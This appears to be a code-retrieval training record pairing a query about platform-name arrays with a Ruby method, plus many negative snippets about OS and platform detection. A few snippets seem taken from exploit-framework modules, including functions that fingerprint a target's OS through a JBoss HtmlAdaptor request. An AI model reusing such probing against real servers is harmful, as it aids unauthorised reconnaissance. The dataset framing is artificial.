"def name\n\t\tmodule_info['Name']\n\tend",
"def name\n @name ||= (@config[:name] || self.class.name.split(/::/).last.titleize)\n end",
"def lookup_silo_name\n return \"#{self.name.gsub('::', '__')}_dict\"\n end",
"def framework_bundles\n @cached_framework_bundles ||= framework_names.map { |x| bundle_for(x) }\n end",
"def package_name\n raise NotImplementedError\n end",
"def base_name\n name\n end",
"def cfBundleName\n extensions[:Middlemac].options.CFBundleName\n end",
"def name\n \"#{service} // #{login}\"\n end",
"def process_name\n\n\t\t::Pantheios::Core.process_name\n\tend"
] | [
"0.76612204",
"0.76612204",
"0.64612365",
"0.6445506",
"0.634857",
"0.62026906",
"0.61614686",
"0.61385125",
"0.606731",
"0.60125387",
"0.600671",
"0.59998256",
"0.59795773",
"0.59790075",
"0.5973067",
"0.5938773",
"0.5909473",
"0.58711797",
"0.58711797",
"0.5836265",
"0.5820669",
"0.58129007",
"0.5800721",
"0.57855487",
"0.57785976",
"0.57700807",
"0.57646495",
"0.57500756",
"0.5745076",
"0.57402545",
"0.5732523",
"0.571334",
"0.57088876",
"0.5707037",
"0.57011175",
"0.567268",
"0.56704384",
"0.56663024",
"0.56632125",
"0.5658368",
"0.5626702",
"0.5616985",
"0.5616985",
"0.56169754",
"0.5610379",
"0.5606733",
"0.5604507",
"0.55913126",
"0.55884284",
"0.55870223",
"0.55859",
"0.55646527",
"0.55623233",
"0.55358714",
"0.55273587",
"0.55273587",
"0.55246776",
"0.5520235",
"0.5515337",
"0.55143267",
"0.5512015",
"0.5508435",
"0.55027586",
"0.5500589",
"0.54835737",
"0.5480029",
"0.5480029",
"0.54796773",
"0.5475227",
"0.54752254",
"0.5469204",
"0.5469204",
"0.5469204",
"0.54684687",
"0.5463748",
"0.54623705",
"0.5446516",
"0.5443183",
"0.54392296",
"0.5436914",
"0.5434875",
"0.543158",
"0.54297054",
"0.54272485",
"0.542684",
"0.54177946",
"0.54177946",
"0.5416672",
"0.54107225",
"0.54089576",
"0.54060036",
"0.53977245",
"0.5394038",
"0.53687817",
"0.53657514",
"0.53654885",
"0.5363394",
"0.53573257",
"0.5347735",
"0.53456956"
] | 0.83171517 | 0 |
array of string platform names: ['totem', 'platform', ...] | def platforms; platform_names; end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def names\n platforms.map { |m| m.realname }\n end",
"def platform_list; ['all','xbox-360']; end",
"def default_platform_list\n [\n metadata.platform,\n *ruby_versions,\n *platforms,\n RbConfig::CONFIG['build']\n ]\n end",
"def all_platforms\n Msf::Module::Platform.subclasses.collect { |c| c.realname.downcase }\n end",
"def platform_name; non_framework_platforms.first; end",
"def supported_platforms\n _platforms = {\n #\n # os: 'linux'\n # platform_family: 'debian'\n 'debian' => %w(jessie/sid 7.6 7.5 7.4 7.2 7.1 7.0 6.0.5),\n 'ubuntu' => %w(14.10 14.04 13.10 13.04 12.04 10.04),\n # platform_family: 'rhel'\n 'amazon' => %w(2014.09 2014.03 2013.09 2012.09),\n 'centos' => %w(7.0.1406 6.6 6.5 6.4 6.3 6.0 5.11 5.10 5.9 5.8),\n 'oracle' => %w(6.5 5.10),\n 'redhat' => %w(7.0 6.5 6.4 6.3 6.2 6.1 6.0 5.10 5.9 5.8 5.7 5.6)\n }\nend",
"def supported_platforms\n _platforms = {\n #\n # os: 'linux'\n # platform_family: 'debian'\n 'debian' => %w(jessie/sid\n 8.4 8.2 8.1 8.0\n 7.10 7.9 7.8 7.7 7.6 7.5 7.4 7.2 7.1 7.0\n 6.0.5),\n 'ubuntu' => %w(16.04\n 15.10 15.04\n 14.10 14.04\n 13.10 13.04\n 12.04 10.04),\n # platform_family: 'rhel'\n 'amazon' => %w(2016.03\n 2015.09 2015.03\n 2014.09 2014.03\n 2013.09 2012.09),\n 'centos' => %w(7.2.1511 7.1.1503 7.0.1406\n 6.8 6.7 6.6 6.5 6.4 6.3 6.2 6.1 6.0\n 5.11 5.10 5.9 5.8 5.7 5.6 5.5 5.4 5.3 5.2),\n 'oracle' => %w(7.1 7.0\n 6.6 6.5\n 5.10),\n 'redhat' => %w(7.1 7.0\n 6.6 6.5 6.4 6.3 6.2 6.1 6.0\n 5.10 5.9 5.8 5.7 5.6)\n }\nend",
"def platform\n @_platform ||= begin\n os = []\n os << :windows if OS.windows?\n os << :linux if OS.linux?\n os << :osx if OS.osx?\n os << :posix if OS.posix?\n unless OS.windows? || OS.osx?\n os << :ubuntu if command_exists?(\"apt-get\")\n os << :arch if command_exists?(\"pacman\")\n os << :red_hat if command_exists?(\"yum\")\n end\n\n [\n *os,\n *os.map { |x| (x.to_s + OS.bits.to_s).to_sym }\n ]\n end\n end",
"def get_platform\n platform=[]\n testos=`uname -a`\n # puts \"osname is #{testos}\"\n platform << \"raspberry\" if (/arm-linux/ =~ RUBY_PLATFORM) != nil and `uname -a`.include?('armv6')\n platform << \"raspberry\" if `uname -a`.include?('armv6')\n platform << \"raspberry 2\" if (/armv7l-linux/ =~ RUBY_PLATFORM) != nil and !`uname -a`.include?('armv6')\n platform << \"mac\" if (/darwin/ =~ RUBY_PLATFORM) != nil\n platform << \"arm\" if (/arm/ =~ RUBY_PLATFORM) != nil\n platform << \"x86\" if (/x86/ =~ RUBY_PLATFORM) != nil\n platform << \"i686\" if (/i686/ =~ RUBY_PLATFORM) != nil\n platform << \"microsoft\" if testos.include?('Microsoft')\n platform << \"debian\" if testos.include?('Debian')\n platform << \"ubuntu\" if testos.include?('Ubuntu')\n platform << \"linux\" if (/linux/ =~ RUBY_PLATFORM) != nil\n platform\n end",
"def platforms\n get(\"project/platforms\")[\"platforms\"]\n end",
"def platform_types\n get(\"platform-types\")[\"types\"]\n end",
"def platform_to_s\n\t\treturn ((platform.all?) ? [ \"All\" ] : platform.names).join(\", \")\n\tend",
"def known_platforms(platform_type: nil)\n (platform_type.nil? ? @platform_handlers.keys : [platform_type]).map { |search_platform_type| (@platform_handlers[search_platform_type] || []) }.flatten\n end",
"def platforms=(value)\n @platforms = value\n end",
"def define_platforms\n [define_centos_5, define_centos_6, define_run_list]\n end",
"def define_platform_classes\n platform_classes = Array.new\n\n platform_classes.push('pe_repo::platform::el_5_x86_64')\n platform_classes.push('pe_repo::platform::el_7_x86_64')\n platform_classes.push('pe_repo::platform::ubuntu_1404_amd64')\n platform_classes.push('pe_repo::platform::debian_7_amd64')\n platform_classes.push('pe_repo::platform::sles_11_x86_64')\n platform_classes.push('pe_repo::platform::solaris_10_i386')\n platform_classes.push('pe_repo::platform::solaris_11_i386')\n\n # Return the array of platform classes\n platform_classes\nend",
"def define_platform_classes\n platform_classes = Array.new\n\n platform_classes.push('pe_repo::platform::el_5_x86_64')\n platform_classes.push('pe_repo::platform::el_7_x86_64')\n platform_classes.push('pe_repo::platform::ubuntu_1404_amd64')\n platform_classes.push('pe_repo::platform::debian_7_amd64')\n platform_classes.push('pe_repo::platform::sles_11_x86_64')\n platform_classes.push('pe_repo::platform::solaris_10_i386')\n platform_classes.push('pe_repo::platform::solaris_11_i386')\n\n # Return the array of platform classes\n platform_classes\nend",
"def platform_shortname\n if rhel?\n if \"rocky\" == Ohai[\"platform\"]\n \"rocky\"\n else\n \"el\"\n end\n elsif suse?\n \"sles\"\n else\n Ohai[\"platform\"]\n end\n end",
"def platforms\n return @platforms\n end",
"def available_platform\n downloads.collect(&:platform).flatten.uniq\n end",
"def platform_name\n capabilities['platformName']\n end",
"def platform_name\n self.platform ? self.platform.name : NOT_SET\n end",
"def component_names platform\n @component_names={}\n @component_names['pc']||=FileList[\"#{@current_dir}/**/build.cfg\"].exclude(/\\/gen\\//,/\\/dsl\\//,/\\/programs\\//,/\\/mocks\\//,/\\/common/).pathmap('%-2d')\n @component_names['common']||=FileList[\"#{@current_dir}/**/build.cfg\"].exclude(/\\/gen\\//,/\\/dsl\\//,/\\/programs\\//,/\\/mocks\\//,/\\/pc/).pathmap('%-2d')\n return @component_names[platform]+@component_names['common']\n end",
"def platform_tuple\n [platform_shortname, platform_version_for_package, machine]\n end",
"def platforms\n [ RUBY_PLATFORM ].tap do |list|\n list.push \"JVM #{java_version}\" if jruby?\n end\n end",
"def platforms id\n return legal_values_for 'platform', id\n end",
"def platform_name\n \"Flist\"\n end",
"def platform\n if self.version_sets.nil?\n raise 'The application has no version sets and Spaceship does not know what to do here.'\n end\n\n if self.version_sets.length == 1\n version_sets[0].platform\n elsif self.platforms == %w(ios appletvos)\n 'ios'\n end\n Spaceship::Tunes::AppVersionCommon.find_platform(raw_data['versionSets'])['platformString']\n end",
"def describePlatform\n TC.name.gsub(' ', '_')\nend",
"def platform(name)\n case ENV['PLATFORM']\n when 'windows_10_edge'\n {selenium_version: '3.141.59',\n platform_name: 'Windows 10',\n browser_name: 'edge',\n browser_version: '18.17763'}.merge(sauce_w3c(name))\n when 'windows_8_ie'\n # Note: w3c is not working for Windows 8 & IE 11\n {platform: 'Windows 8.1',\n browser_name: 'ie',\n selenium_version: '3.141.59',\n version: '11.0'}.merge(sauce_oss(name))\n when 'mac_sierra_chrome'\n # This is for running with w3c which is not yet the default\n # {platform_name: 'macOS 10.12',\n # browser_name: 'chrome',\n # \"goog:chromeOptions\": {w3c: true},\n # browser_version: '65.0'}.merge(sauce_w3c name)\n {selenium_version: '3.141.59',\n platform: 'macOS 10.12',\n browser_name: 'chrome',\n version: '65.0'}.merge(sauce_oss(name))\n when 'mac_mojave_safari'\n {platform_name: 'macOS 10.14',\n browser_name: 'safari',\n browser_version: '12.0'}.merge(sauce_w3c(name))\n when 'windows_7_ff'\n {platform_name: 'Windows 7',\n browser_name: 'firefox',\n browser_version: '60.0'}.merge(sauce_w3c(name))\n else\n # Always specify a default\n {selenium_version: '3.141.59',\n platform: 'macOS 10.12',\n browser_name: 'chrome',\n version: '65.0'}.merge(sauce_oss(name))\n end\n end",
"def select_local_platforms(specs) # :nodoc:\n specs.select do |spec|\n Gem::Platform.installable? spec\n end\n end",
"def supported_platforms\n latest_extension_version.try(:supported_platforms) || []\n end",
"def platforms_to_lint(spec)\n return spec.available_platforms if @platforms.empty?\n\n # Validate that the platforms specified are actually supported by the spec\n results = @platforms.map do |platform|\n matching_platform = spec.available_platforms.find { |p| p.name == platform.name }\n unless matching_platform\n raise Informative, \"Platform `#{platform}` is not supported by specification `#{spec}`.\"\n end\n matching_platform\n end.uniq\n\n results\n end",
"def platforms\n expose Metadata.platforms(@oauth_token)\n end",
"def platform(name=nil, path=nil)\n error \"Platform name is blank\" if name.blank?\n error \"Platform path is blank\" if path.blank?\n error \"Platform name is not a string\" unless name.kind_of?(String)\n debug \"Registering platform name [#{name}] by engine path [#{path}]\"\n error \"Platform [#{name}] has already been registered\" if platform_names.include?(name)\n platform_names.push(name)\n totem_settings.defaults.platform_settings(name)\n end",
"def platform_types\n @platform_types.to_hash\n end",
"def platform\n self.class.name.split(\"::\").last.gsub(/(?<=[^A-Z])[A-Z]+/, \"-\\\\0\").downcase\n end",
"def normalize_platform(platform, platform_version)\n if platform == \"solaris\"\n platform = \"solaris2\"\n\n # Here platform_version is set to either 10 or 11 and we would like\n # to normalize that to 5.10 and 5.11.\n platform_version = \"5.#{platform_version}\"\n end\n\n [platform, platform_version]\n end",
"def platform_shortname\n if platform_family == 'rhel'\n 'el'\n else\n platform\n end\n end",
"def gem_platforms(name, options) # :nodoc:\n platform_names = Array(options.delete :platform)\n platform_names.concat Array(options.delete :platforms)\n platform_names.concat @current_platforms if @current_platforms\n\n return true if platform_names.empty?\n\n platform_names.any? do |platform_name|\n raise ArgumentError, \"unknown platform #{platform_name.inspect}\" unless\n platform = PLATFORM_MAP[platform_name]\n\n next false unless Gem::Platform.match_gem? platform, name\n\n if engines = ENGINE_MAP[platform_name]\n next false unless engines.include? Gem.ruby_engine\n end\n\n case WINDOWS[platform_name]\n when :only then\n next false unless Gem.win_platform?\n when :never then\n next false if Gem.win_platform?\n end\n\n VERSION_MAP[platform_name].satisfied_by? Gem.ruby_version\n end\n end",
"def what_platform\n if @platform == \"PC\"\n puts \"PC are Awesome!\"\n else\n puts \"This platform is inferior\"\n end\n end",
"def ruby_platform_osname\n return unless Object.const_defined? :RUBY_PLATFORM\n\n case RUBY_PLATFORM\n when /darwin/ # macOS\n :macos\n when /linux/\n :linux\n when /mingw/\n :windows\n when /openbsd/\n :openbsd\n end\n end",
"def detect_platform\r\n\t\tprint_status(\"Attempting to automatically detect the platform\")\r\n\t\tres = send_serialized_request(\"osname.bin\")\r\n\r\n\t\tif (res.body =~ /(Linux|FreeBSD|Windows)/i)\r\n\t\t\tos = $1\r\n\t\t\tif (os =~ /Linux/i)\r\n\t\t\t\treturn 'linux'\r\n\t\t\telsif (os =~ /FreeBSD/i)\r\n\t\t\t\treturn 'linux'\r\n\t\t\telsif (os =~ /Windows/i)\r\n\t\t\t\treturn 'win'\r\n\t\t\tend\r\n\t\tend\r\n\t\tnil\r\n\tend",
"def platform(platform_name)\n @platform_handlers.values.flatten.find { |known_platform| known_platform.name == platform_name }\n end",
"def platform_merge ln\n flds = ln.split(' ')\n return if flds[0].to_i == 0\n # app-version-arch'\n fname = flds[2]\n #parts = fname.split('-')\n #return if parts[length] < 3\n #puts \"fname = #{fname}\"\n case ln\n when /32\\.exe$/\n @platforms['Win32'] = ln\n when /\\.tbz$/\n return # ignore \n when /\\.run$/\n return # short circuit - ignore .runs in 3.2.15+ \n when /osx\\-.*\\.tgz$/\n @platforms['OSX'] = ln\n when /armhf\\.run$/\n @platforms['Linux_Raspberry'] = ln\n when /i686\\.run$/\n @platforms['Linux_i686'] = ln\n when /x86_64\\.run$/ \n @platforms['Linux_x86_64'] = ln\n when /armhf\\.install$/\n @platforms['Linux_Raspberry'] = ln\n when /i686\\.install$/\n @platforms['Linux_i686'] = ln\n when /x86_64\\.install$/ \n @platforms['Linux_x86_64'] = ln\n when /tar\\.gz$/\n tarball = ln\n else\n #puts \"failed match #{ln}\"\n end\n return\n end",
"def platform\n data[:platform]\n end",
"def name\n RUBY_PLATFORM\n end",
"def platform?(what)\n\t\t(platform & what).empty? == false\n\tend",
"def check_platforms\n default_platform_attrs = ProductModel.platforms.stringify_keys\n self.design_platform = default_platform_attrs.merge(booleanize_hashs(design_platform))\n self.customize_platform = default_platform_attrs.merge(booleanize_hashs(customize_platform))\n end",
"def platform(arg = nil)\n set_or_return(:platform, arg, kind_of: String, required: true)\n end",
"def get_platform(host_os)\n return :osx if host_os =~ /darwin/\n return :linux if host_os =~ /linux/\n return :windows if host_os =~ /mingw32|mswin32/\n return :unknown\n end",
"def wordy\n prefix = \"Found #{@name} (#{@version})\"\n\n if @platforms.size == 1\n \"#{prefix}, but was for platform #{@platforms[0]}\"\n else\n \"#{prefix}, but was for platforms #{@platforms.join(' ,')}\"\n end\n end",
"def platform\n @spec.platform\n end",
"def set_browser_os()\r\n browsers = Array['chrome']\r\n $os = 'Mac'\r\n if (RUBY_PLATFORM =~ /w32/) # windows\r\n $os = 'Windows'\r\n browsers = Array['chrome']\r\n elsif (RUBY_PLATFORM =~ /darwin/) # mac\r\n $os = 'Mac'\r\n browsers = Array['chrome','safari']\r\n end\r\nend",
"def lsplat( platform_info )\n print_line\n print_line\n print_info 'Available platforms:'\n print_line\n\n platform_info.each do |type, platforms|\n print_status \"#{type}\"\n\n platforms.each do |shortname, fullname|\n print_info \"#{shortname}:\\t\\t#{fullname}\"\n end\n\n print_line\n end\n\n end",
"def platform\n data.platform\n end",
"def supported_platform?(platform, spec)\n available_platforms = spec.available_platforms\n\n available_platforms.any? { |p| p.name == platform.name }\n end",
"def platform\n spec.platform\n end",
"def platform\n osver[0]\n end",
"def platform_name_match?(platform, name)\n [platform.name, platform.string_name].any? { |n| n.casecmp(name) == 0 }\n end",
"def for(platform)\n case platform.to_s\n when 'amazon' then for_amazon\n when 'core_api' then for_core\n end\n end",
"def platform; end",
"def platform; end",
"def platform; end",
"def platform\n @attributes[:platform]\n end",
"def platform(*platforms)\n @current_platforms = platforms\n\n yield\n\n ensure\n @current_platforms = nil\n end",
"def platform\n fetch('game.platform')\n end",
"def only_test_os\n if ENV.key?('ONLY_OS')\n ENV['ONLY_OS'].split(',')\n end\nend",
"def platform?(*args)\n has_platform = false\n\n args.flatten.each do |platform|\n has_platform = true if platform.to_s == node[:platform]\n end\n\n has_platform\n end",
"def platform\n case number\n when /whatsapp/\n 'whatsapp'\n when /messenger/\n 'messenger'\n else\n 'sms'\n end\n end",
"def stack\n platform = self.platform\n os = fetch(\"computer.os.#{platform.downcase}\")\n \"#{platform}, #{os}\"\n end",
"def two_platforms_compare?(e_platform, a_platform)\n e_arr = e_platform.split(',')\n a_arr = a_platform.split(',')\n !(e_arr & a_arr).empty?\n end",
"def two_platforms_compare?(e_platform, a_platform)\n e_arr = e_platform.split(',')\n a_arr = a_platform.split(',')\n !(e_arr & a_arr).empty?\n end",
"def get_platform_servers(os_platform, alt_servers = nil)\n servers = alt_servers.nil? ? get_server_list(@params) : alt_servers\n result = servers.select{|k,v| v[\"os_platform\"].downcase =~ /#{os_platform}/ }\n end",
"def platform_for(node)\n @platforms_handler.known_platforms.find { |platform| platform.known_nodes.include?(node) }\n end",
"def platform\n System::get_property('platform')\n end",
"def platform\n fetch('device.platform')\n end",
"def wordy\n \"Found %s (%s), but was for platform%s %s\" %\n [@name,\n @version,\n @platforms.size == 1 ? '' : 's',\n @platforms.join(' ,')]\n end",
"def platform\n @platform ||= data.platform\n end",
"def rackspace_cloudbackup_test_platforms\n return {\n ubuntu: %w(12.04),\n debian: %w(7.2), # Requires Fauxhai chicanery as https://github.com/customink/fauxhai/pull/60\n # hasn't made its way to RubyGems yet.\n centos: %w(6.4 6.5)\n }\nend",
"def eval_platform\n if @platform == \"PC\"\n puts \"PC are great!\"\n else\n puts \"Your platform is probably underpowered.\"\n end\n end",
"def detect_platform()\r\n\t\tprint_status(\"Attempting to automatically detect the platform...\")\r\n\r\n\t\tpath = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo'\r\n\t\tres = send_request_raw(\r\n\t\t\t{\r\n\t\t\t\t'uri' => path\r\n\t\t\t}, 20)\r\n\r\n\t\tif (not res) or (res.code != 200)\r\n\t\t\tprint_error(\"Failed: Error requesting #{path}\")\r\n\t\t\treturn nil\r\n\t\tend\r\n\r\n\t\tif (res.body =~ /<td.*?OSName.*?(Linux|Windows).*?<\\/td>/m)\r\n\t\t\tos = $1\r\n\t\t\tif (os =~ /Linux/i)\r\n\t\t\t\treturn 'linux'\r\n\t\t\telsif (os =~ /Windows/i)\r\n\t\t\t\treturn 'win'\r\n\t\t\tend\r\n\t\tend\r\n\t\tnil\r\n\tend",
"def add_platforms\n updated_lines = updated.lines\n\n # Find last line of GEM\n last_section_of_gem_index = updated.lines.index { |line| line != \"G\" && line.chr == \"\\n\" }\n\n # PLATFORMS should be added after GEM section\n add_platforms_index = last_section_of_gem_index + 1\n\n # Add PLATFORMS section\n updated_lines.insert(\n add_platforms_index, \"\\nPLATFORMS\\n\", \" #{platform_ruby}\\n\"\n )\n\n # Reconstruct lockfile\n updated_lines.join\n end",
"def set_names\n option_sets.map{|os| os.name}.join(', ')\n end",
"def platform\n \"win\"\n end",
"def get_exotic_archname(platform_type)\n case platform_type\n when /aarch64/\n \"ARM\"\n when /ppc64le/\n \"Power\"\n else\n nil\n end\nend",
"def actual_platform\n platform = nil\n\n if explicit_platform.nil? == false\n platform = explicit_platform\n elsif datastore['PLATFORM']\n platform = datastore['PLATFORM']\n elsif assoc_exploit\n platform = assoc_exploit.target_platform\n end\n\n # If we still have an invalid platform, then we suck.\n if platform.nil?\n raise NoCompatiblePayloadError, \"A platform could not be determined by the generic payload\"\n elsif platform.kind_of?(String)\n platform = Msf::Module::PlatformList.transform(platform)\n end\n\n return platform\n end",
"def to_s\n primary = [ *default_platform_list, purpose ].compact.join(', ')\n list = [ primary ]\n\n metadata.wrapping_libraries&.each do |library|\n list << (library[:platform] || '')\n end\n\n list.join('|')\n end",
"def on_os name\n os_kernel = `uname -a`\n os_kernel.downcase.include?(name)\nend",
"def platos\n\t\treturn @platos\n\tend",
"def operating_systems\n collect\n end",
"def platform\n backend.platform\n end",
"def architecture # rubocop:disable Lint/DuplicateMethods\n @architecture ||= @name.match(PLATFORM_REGEX)[3]\n end",
"def add_platform(platform)\n @platforms << platform\n end",
"def platform_id\n case [edition, fp]\n when [0, 9]\n 0x101f6f88\n when [1, 0]\n 0x101f795f\n when [1, 2]\n 0x101f8202\n when [2, 0]\n 0x101f7960\n when [2, 1]\n 0x101f9115\n when [2, 2]\n 0x101f9115\n when [2, 3]\n 0x10200bab\n when [3, 0]\n 0x101f7961\n when [3, 1]\n 0x102032be\n else\n raise\n end\n end",
"def platform\n @root.attributes[\"pl\"].to_i\n end",
"def p4_platform_label\n case RbConfig::CONFIG[\"target_os\"].downcase\n when /nt|mswin|mingw|cygwin|msys/\n # Ruby on windows is only MinGW via Rubyinstaller.org, though this may\n # not work on all rubies.\n # There are too many permutations of Windows p4api, to automate.\n raise 'Automatic fetching of p4api from perforce FTP is not supported on Windows'\n when /darwin19|darwin[2-9][0-9]/\n \"macosx1015#{p4_cpu(:darwin)}\"\n when /darwin/ \n \"darwin90#{p4_cpu(:darwin)}\"\n when /solaris/\n \"solaris10#{p4_cpu(:solaris)}\"\n when /linux/\n \"linux26#{p4_cpu(:linux)}\" \n end\nend",
"def platform\n raise NotImplementedError\n end",
"def platform\n raise NotImplementedError\n end",
"def find_server_platform(server_name)\n get_platform = VALID_PLATFORMS.select { |name| server_name.downcase.include?(name) }\n get_platform.first\n end"
] | [
"0.8087931",
"0.8012887",
"0.7395641",
"0.7392887",
"0.7348418",
"0.7341621",
"0.7303891",
"0.72947615",
"0.72838926",
"0.70222414",
"0.7018649",
"0.70133764",
"0.70074314",
"0.69786555",
"0.69771034",
"0.6911944",
"0.6911944",
"0.6897852",
"0.6894755",
"0.68660116",
"0.6849689",
"0.6845851",
"0.6818686",
"0.679849",
"0.6790716",
"0.6707117",
"0.6701411",
"0.66793597",
"0.66644996",
"0.6662901",
"0.66496533",
"0.6635818",
"0.66286016",
"0.66034484",
"0.65916604",
"0.6586942",
"0.6555591",
"0.65476483",
"0.64781857",
"0.64463633",
"0.6436533",
"0.63982755",
"0.6394198",
"0.63627636",
"0.6344298",
"0.6340299",
"0.6330843",
"0.6323623",
"0.6321753",
"0.6293616",
"0.62823236",
"0.6269368",
"0.6251341",
"0.6217679",
"0.6216339",
"0.6213966",
"0.6183382",
"0.6178305",
"0.6157821",
"0.6155665",
"0.61420107",
"0.6116326",
"0.6116326",
"0.6116326",
"0.6110217",
"0.61091137",
"0.61080754",
"0.6102864",
"0.6101631",
"0.61013085",
"0.61002606",
"0.6095117",
"0.6095117",
"0.6094753",
"0.6053712",
"0.60517764",
"0.60286283",
"0.6022884",
"0.6012761",
"0.60121554",
"0.60100174",
"0.6003928",
"0.6002319",
"0.5993847",
"0.59776896",
"0.59736013",
"0.5971513",
"0.59607744",
"0.5955519",
"0.595302",
"0.59374326",
"0.5928703",
"0.59169817",
"0.5904172",
"0.5898829",
"0.5891912",
"0.58780277",
"0.58724475",
"0.58724475",
"0.58706635"
] | 0.85029393 | 0 |
assumes only one platform is running | def platform_name; non_framework_platforms.first; end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def platform; end",
"def platform; end",
"def platform; end",
"def platform\n @platform ||= NoPlatform.new\n end",
"def platform\n raise NotImplementedError\n end",
"def platform\n raise NotImplementedError\n end",
"def valid_for_platform?; true; end",
"def platform\n @platform ||= data.platform\n end",
"def host_os; end",
"def host_os; end",
"def platform_list; ['all','xbox-360']; end",
"def platform\n @_platform ||= self.context.platform\n end",
"def platform\n @_platform ||= self.context.platform\n end",
"def platform\n @_platform ||= self.context.platform\n end",
"def eval_platform\n if @platform == \"PC\"\n puts \"PC are great!\"\n else\n puts \"Your platform is probably underpowered.\"\n end\n end",
"def platform_end_point; end",
"def target_platform\n (target and target.platform) ? target.platform : platform\n end",
"def what_platform\n if @platform == \"PC\"\n puts \"PC are Awesome!\"\n else\n puts \"This platform is inferior\"\n end\n end",
"def platform?(what)\n\t\t(platform & what).empty? == false\n\tend",
"def platform_name\n self.platform ? self.platform.name : NOT_SET\n end",
"def platform\n System::get_property('platform')\n end",
"def platform\n data.platform\n end",
"def load_platform(v)\n Chef::Log.debug \"[dropwizard_pleaserun] loading platform #{v}\"\n platform_lib = \"pleaserun/platform/#{v}\"\n require platform_lib\n const = PleaseRun::Platform.constants.find { |c| c.to_s.casecmp(v).zero? }\n if const.nil?\n raise PlatformLoadError, \"Could not find platform named '#{v}' after loading library \" \\\n \"'#{platform_lib}'. This is probably a bug.\"\n end\n return PleaseRun::Platform.const_get(const)\nrescue LoadError => e\n raise PlatformLoadError, \"Failed to find or load platform '#{v}'. This could be a typo or \" \\\n \" a bug. If it helps, the error is: #{e}\"\nend",
"def test_Enviroment_002_isPlatform\r\n\r\n puts2(\"\")\r\n puts2(\"#######################\")\r\n puts2(\"Testcase: test_Enviroment_002_isPlatform\")\r\n puts2(\"#######################\")\r\n\r\n puts2(\"Running Ruby for Windows: \" + is_win?.to_s)\r\n puts2(\"Running Ruby for Windows 32-bit: \" + is_win32?.to_s)\r\n puts2(\"Running Ruby for Windows 64 bit: \" + is_win64?.to_s)\r\n puts2(\"Running Ruby for Linux: \" + is_linux?.to_s)\r\n puts2(\"Running Ruby for OS/X: \" + is_osx?.to_s)\r\n puts2(\"Running on JRuby: \" + is_java?.to_s)\r\n\r\n end",
"def platform\n @new_platform ||= Gem::Platform::RUBY\n end",
"def rubinius?(platform = T.unsafe(nil)); end",
"def linux? ; RUBY_PLATFORM =~ /linux/i end",
"def mri?(platform = T.unsafe(nil)); end",
"def platform\n backend.platform\n end",
"def determine_os\n @os = 'linux'\n end",
"def platforms; platform_names; end",
"def determine_os\n @os = \"linux\"\n end",
"def platform?\n system? and (RUBY_PLATFORM =~ @system)\n end",
"def platform\n kernel.platform\n end",
"def maglev?(platform = T.unsafe(nil)); end",
"def switchToPlatform(platform)\n if @support_platforms.include?(platform) then\n @platform = platform\n else\n puts \"The given #{platform} platform not support.\"\n end\n end",
"def platform; RUBY_PLATFORM; end",
"def test_platform_uses_unknown_if_uname_fails\n NewRelic::Helper.stubs('run_command').with('uname -s').raises(NewRelic::CommandRunFailedError)\n NewRelic::Agent::Samplers::MemorySampler.stub_const(:RUBY_PLATFORM, 'java') do\n platform = NewRelic::Agent::Samplers::MemorySampler.platform\n\n assert_equal 'unknown', platform\n end\n end",
"def on_os name\n os_kernel = `uname -a`\n os_kernel.downcase.include?(name)\nend",
"def platform\n fetch('game.platform')\n end",
"def platform\n spec.platform\n end",
"def windows?(platform = T.unsafe(nil)); end",
"def platform\n @_platform ||= begin\n os = []\n os << :windows if OS.windows?\n os << :linux if OS.linux?\n os << :osx if OS.osx?\n os << :posix if OS.posix?\n unless OS.windows? || OS.osx?\n os << :ubuntu if command_exists?(\"apt-get\")\n os << :arch if command_exists?(\"pacman\")\n os << :red_hat if command_exists?(\"yum\")\n end\n\n [\n *os,\n *os.map { |x| (x.to_s + OS.bits.to_s).to_sym }\n ]\n end\n end",
"def platform\n \"win\"\n end",
"def load_platform_specific\n if linux?\n require_linux\n elsif mac?\n require_mac\n elsif windows?\n require_windows\n else\n raise PlatformError.new('Unknown platform')\n end\n end",
"def platform\n data[:platform]\n end",
"def platform\n @spec.platform\n end",
"def check_platforms\n default_platform_attrs = ProductModel.platforms.stringify_keys\n self.design_platform = default_platform_attrs.merge(booleanize_hashs(design_platform))\n self.customize_platform = default_platform_attrs.merge(booleanize_hashs(customize_platform))\n end",
"def platform\n @platform ||= Train::Platforms::Detect.scan(self)\n end",
"def for(platform)\n case platform.to_s\n when 'amazon' then for_amazon\n when 'core_api' then for_core\n end\n end",
"def linux?\n RUBY_PLATFORM =~ /linux/i\nend",
"def check_platform(atomic_test:)\n our_platform = case RbConfig::CONFIG['host_os']\n when /mswin|msys|mingw|cygwin|bccwin|wince|emc/\n 'windows'\n when /darwin|mac os/\n 'macos'\n when /linux|solaris|bsd/\n 'linux'\n end\n\n puts \"\\nChecking platform vs our platform (#{our_platform})...\"\n test_supported_platforms = atomic_test['supported_platforms']\n\n if !test_supported_platforms.include? our_platform\n raise \"Unable to run test that supports platforms #{test_supported_platforms} because we are on #{our_platform}\"\n end\n puts \" - OK - our platform is supported!\"\n end",
"def windows?\n RbConfig::CONFIG['host_os'] =~ /mswin|msys|mingw32|windows/i\nend",
"def get_platform\n platform=[]\n testos=`uname -a`\n # puts \"osname is #{testos}\"\n platform << \"raspberry\" if (/arm-linux/ =~ RUBY_PLATFORM) != nil and `uname -a`.include?('armv6')\n platform << \"raspberry\" if `uname -a`.include?('armv6')\n platform << \"raspberry 2\" if (/armv7l-linux/ =~ RUBY_PLATFORM) != nil and !`uname -a`.include?('armv6')\n platform << \"mac\" if (/darwin/ =~ RUBY_PLATFORM) != nil\n platform << \"arm\" if (/arm/ =~ RUBY_PLATFORM) != nil\n platform << \"x86\" if (/x86/ =~ RUBY_PLATFORM) != nil\n platform << \"i686\" if (/i686/ =~ RUBY_PLATFORM) != nil\n platform << \"microsoft\" if testos.include?('Microsoft')\n platform << \"debian\" if testos.include?('Debian')\n platform << \"ubuntu\" if testos.include?('Ubuntu')\n platform << \"linux\" if (/linux/ =~ RUBY_PLATFORM) != nil\n platform\n end",
"def client_os? system\n detect_os == system.to_sym\n end",
